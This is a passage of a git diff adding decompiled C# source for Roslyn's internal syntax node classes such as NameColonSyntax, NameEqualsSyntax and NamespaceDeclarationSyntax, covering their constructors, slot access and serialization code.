((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifierSyntax); + explicitInterfaceSpecifier = explicitInterfaceSpecifierSyntax; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + identifier = syntaxToken; + TypeParameterListSyntax typeParameterListSyntax = (TypeParameterListSyntax)reader.ReadValue(); + if (typeParameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterListSyntax); + typeParameterList = typeParameterListSyntax; + } + ParameterListSyntax parameterListSyntax = (ParameterListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterListSyntax); + parameterList = parameterListSyntax; + GreenNode val3 = (GreenNode)reader.ReadValue(); + if (val3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val3); + constraintClauses = val3; + } + BlockSyntax blockSyntax = (BlockSyntax)reader.ReadValue(); + if (blockSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)blockSyntax); + body = blockSyntax; + } + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = (ArrowExpressionClauseSyntax)reader.ReadValue(); + if (arrowExpressionClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowExpressionClauseSyntax); + expressionBody = arrowExpressionClauseSyntax; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + semicolonToken = syntaxToken2; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)returnType); + writer.WriteValue((IObjectWritable)(object)explicitInterfaceSpecifier); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)typeParameterList); + writer.WriteValue((IObjectWritable)(object)parameterList); + writer.WriteValue((IObjectWritable)(object)constraintClauses); + writer.WriteValue((IObjectWritable)(object)body); + writer.WriteValue((IObjectWritable)(object)expressionBody); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static MethodDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(MethodDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new MethodDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NameColonSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NameColonSyntax.cs new file mode 100644 index 0000000..b80abc9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NameColonSyntax.cs @@ -0,0 +1,128 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class NameColonSyntax : BaseExpressionColonSyntax +{ + internal readonly IdentifierNameSyntax name; + + internal readonly SyntaxToken colonToken; + + public override ExpressionSyntax Expression => Name; + + public IdentifierNameSyntax Name => name; + + public override SyntaxToken ColonToken => colonToken; + + internal NameColonSyntax(SyntaxKind kind, IdentifierNameSyntax name, SyntaxToken colonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal NameColonSyntax(SyntaxKind kind, IdentifierNameSyntax name, SyntaxToken colonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal NameColonSyntax(SyntaxKind kind, IdentifierNameSyntax name, SyntaxToken colonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => name, + 1 => colonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.NameColonSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitNameColon(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitNameColon(this); + } + + public NameColonSyntax Update(IdentifierNameSyntax name, SyntaxToken colonToken) + { + if (name != Name || colonToken != ColonToken) + { + NameColonSyntax nameColonSyntax = SyntaxFactory.NameColon(name, colonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + nameColonSyntax = GreenNodeExtensions.WithDiagnosticsGreen(nameColonSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + nameColonSyntax = GreenNodeExtensions.WithAnnotationsGreen(nameColonSyntax, (IEnumerable)annotations); + } + return nameColonSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new NameColonSyntax(base.Kind, name, colonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new NameColonSyntax(base.Kind, name, colonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal NameColonSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + IdentifierNameSyntax identifierNameSyntax = (IdentifierNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifierNameSyntax); + name = identifierNameSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + colonToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)colonToken); + } + + static NameColonSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(NameColonSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new NameColonSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NameEqualsSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NameEqualsSyntax.cs new file mode 100644 index 0000000..55f13b9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NameEqualsSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class NameEqualsSyntax : CSharpSyntaxNode +{ + internal readonly IdentifierNameSyntax name; + + internal readonly SyntaxToken equalsToken; + + public IdentifierNameSyntax Name => name; + + public SyntaxToken EqualsToken => equalsToken; + + internal NameEqualsSyntax(SyntaxKind kind, IdentifierNameSyntax name, SyntaxToken equalsToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + } + + internal NameEqualsSyntax(SyntaxKind kind, IdentifierNameSyntax name, SyntaxToken equalsToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + } + + internal NameEqualsSyntax(SyntaxKind kind, IdentifierNameSyntax name, SyntaxToken equalsToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => name, + 1 => equalsToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.NameEqualsSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitNameEquals(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitNameEquals(this); + } + + public NameEqualsSyntax Update(IdentifierNameSyntax name, SyntaxToken equalsToken) + { + if (name != Name || equalsToken != EqualsToken) + { + NameEqualsSyntax nameEqualsSyntax = SyntaxFactory.NameEquals(name, equalsToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + nameEqualsSyntax = GreenNodeExtensions.WithDiagnosticsGreen(nameEqualsSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + nameEqualsSyntax = GreenNodeExtensions.WithAnnotationsGreen(nameEqualsSyntax, (IEnumerable)annotations); + } + return nameEqualsSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new NameEqualsSyntax(base.Kind, name, equalsToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new NameEqualsSyntax(base.Kind, name, equalsToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal NameEqualsSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + IdentifierNameSyntax identifierNameSyntax = (IdentifierNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifierNameSyntax); + name = identifierNameSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + equalsToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)equalsToken); + } + + static NameEqualsSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(NameEqualsSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new NameEqualsSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NameMemberCrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NameMemberCrefSyntax.cs new file mode 100644 index 0000000..37efae1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NameMemberCrefSyntax.cs @@ -0,0 +1,138 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class NameMemberCrefSyntax : MemberCrefSyntax +{ + internal readonly TypeSyntax name; + + internal readonly CrefParameterListSyntax? parameters; + + public TypeSyntax Name => name; + + public CrefParameterListSyntax? Parameters => parameters; + + internal NameMemberCrefSyntax(SyntaxKind kind, TypeSyntax name, CrefParameterListSyntax? parameters, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameters); + this.parameters = parameters; + } + } + + internal NameMemberCrefSyntax(SyntaxKind kind, TypeSyntax name, CrefParameterListSyntax? parameters, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameters); + this.parameters = parameters; + } + } + + internal NameMemberCrefSyntax(SyntaxKind kind, TypeSyntax name, CrefParameterListSyntax? parameters) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameters); + this.parameters = parameters; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => name, + 1 => parameters, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.NameMemberCrefSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitNameMemberCref(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitNameMemberCref(this); + } + + public NameMemberCrefSyntax Update(TypeSyntax name, CrefParameterListSyntax parameters) + { + if (name != Name || parameters != Parameters) + { + NameMemberCrefSyntax nameMemberCrefSyntax = SyntaxFactory.NameMemberCref(name, parameters); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + nameMemberCrefSyntax = GreenNodeExtensions.WithDiagnosticsGreen(nameMemberCrefSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + nameMemberCrefSyntax = GreenNodeExtensions.WithAnnotationsGreen(nameMemberCrefSyntax, (IEnumerable)annotations); + } + return nameMemberCrefSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new NameMemberCrefSyntax(base.Kind, name, parameters, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new NameMemberCrefSyntax(base.Kind, name, parameters, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal NameMemberCrefSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + name = typeSyntax; + CrefParameterListSyntax crefParameterListSyntax = (CrefParameterListSyntax)reader.ReadValue(); + if (crefParameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)crefParameterListSyntax); + parameters = crefParameterListSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)parameters); + } + + static NameMemberCrefSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(NameMemberCrefSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new NameMemberCrefSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NameSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NameSyntax.cs new file mode 100644 index 0000000..9716cb5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NameSyntax.cs @@ -0,0 +1,21 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class NameSyntax : TypeSyntax +{ + internal NameSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal NameSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected NameSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NamespaceDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NamespaceDeclarationSyntax.cs new file mode 100644 index 0000000..c1fd6b4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NamespaceDeclarationSyntax.cs @@ -0,0 +1,344 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class NamespaceDeclarationSyntax : BaseNamespaceDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken namespaceKeyword; + + internal readonly NameSyntax name; + + internal readonly SyntaxToken openBraceToken; + + internal readonly GreenNode? externs; + + internal readonly GreenNode? usings; + + internal readonly GreenNode? members; + + internal readonly SyntaxToken closeBraceToken; + + internal readonly SyntaxToken? semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public override SyntaxToken NamespaceKeyword => namespaceKeyword; + + public override NameSyntax Name => name; + + public SyntaxToken OpenBraceToken => openBraceToken; + + public override SyntaxList Externs => new SyntaxList(externs); + + public override SyntaxList Usings => new SyntaxList(usings); + + public override SyntaxList Members => new SyntaxList(members); + + public SyntaxToken CloseBraceToken => closeBraceToken; + + public SyntaxToken? SemicolonToken => semicolonToken; + + internal NamespaceDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken namespaceKeyword, NameSyntax name, SyntaxToken openBraceToken, GreenNode? externs, GreenNode? usings, GreenNode? members, SyntaxToken closeBraceToken, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 10; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)namespaceKeyword); + this.namespaceKeyword = namespaceKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (externs != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(externs); + this.externs = externs; + } + if (usings != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(usings); + this.usings = usings; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal NamespaceDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken namespaceKeyword, NameSyntax name, SyntaxToken openBraceToken, GreenNode? externs, GreenNode? usings, GreenNode? members, SyntaxToken closeBraceToken, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 10; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)namespaceKeyword); + this.namespaceKeyword = namespaceKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (externs != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(externs); + this.externs = externs; + } + if (usings != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(usings); + this.usings = usings; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal NamespaceDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken namespaceKeyword, NameSyntax name, SyntaxToken openBraceToken, GreenNode? externs, GreenNode? usings, GreenNode? members, SyntaxToken closeBraceToken, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 10; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)namespaceKeyword); + this.namespaceKeyword = namespaceKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (externs != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(externs); + this.externs = externs; + } + if (usings != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(usings); + this.usings = usings; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => namespaceKeyword, + 3 => name, + 4 => openBraceToken, + 5 => externs, + 6 => usings, + 7 => members, + 8 => closeBraceToken, + 9 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.NamespaceDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitNamespaceDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitNamespaceDeclaration(this); + } + + public NamespaceDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken namespaceKeyword, NameSyntax name, SyntaxToken openBraceToken, SyntaxList externs, SyntaxList usings, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || namespaceKeyword != NamespaceKeyword || name != Name || openBraceToken != OpenBraceToken || externs != Externs || usings != Usings || members != Members || closeBraceToken != CloseBraceToken || semicolonToken != SemicolonToken) + { + NamespaceDeclarationSyntax namespaceDeclarationSyntax = SyntaxFactory.NamespaceDeclaration(attributeLists, modifiers, namespaceKeyword, name, openBraceToken, externs, usings, members, closeBraceToken, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + namespaceDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(namespaceDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + namespaceDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(namespaceDeclarationSyntax, (IEnumerable)annotations); + } + return namespaceDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new NamespaceDeclarationSyntax(base.Kind, attributeLists, modifiers, namespaceKeyword, name, openBraceToken, externs, usings, members, closeBraceToken, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new NamespaceDeclarationSyntax(base.Kind, attributeLists, modifiers, namespaceKeyword, name, openBraceToken, externs, usings, members, closeBraceToken, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal NamespaceDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Expected O, but got Unknown + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Expected O, but got Unknown + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Expected O, but got Unknown + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00e9: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 10; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + namespaceKeyword = syntaxToken; + NameSyntax nameSyntax = (NameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameSyntax); + name = nameSyntax; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openBraceToken = syntaxToken2; + GreenNode val3 = (GreenNode)reader.ReadValue(); + if (val3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val3); + externs = val3; + } + GreenNode val4 = (GreenNode)reader.ReadValue(); + if (val4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val4); + usings = val4; + } + GreenNode val5 = (GreenNode)reader.ReadValue(); + if (val5 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val5); + members = val5; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeBraceToken = syntaxToken3; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + semicolonToken = syntaxToken4; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)namespaceKeyword); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)openBraceToken); + 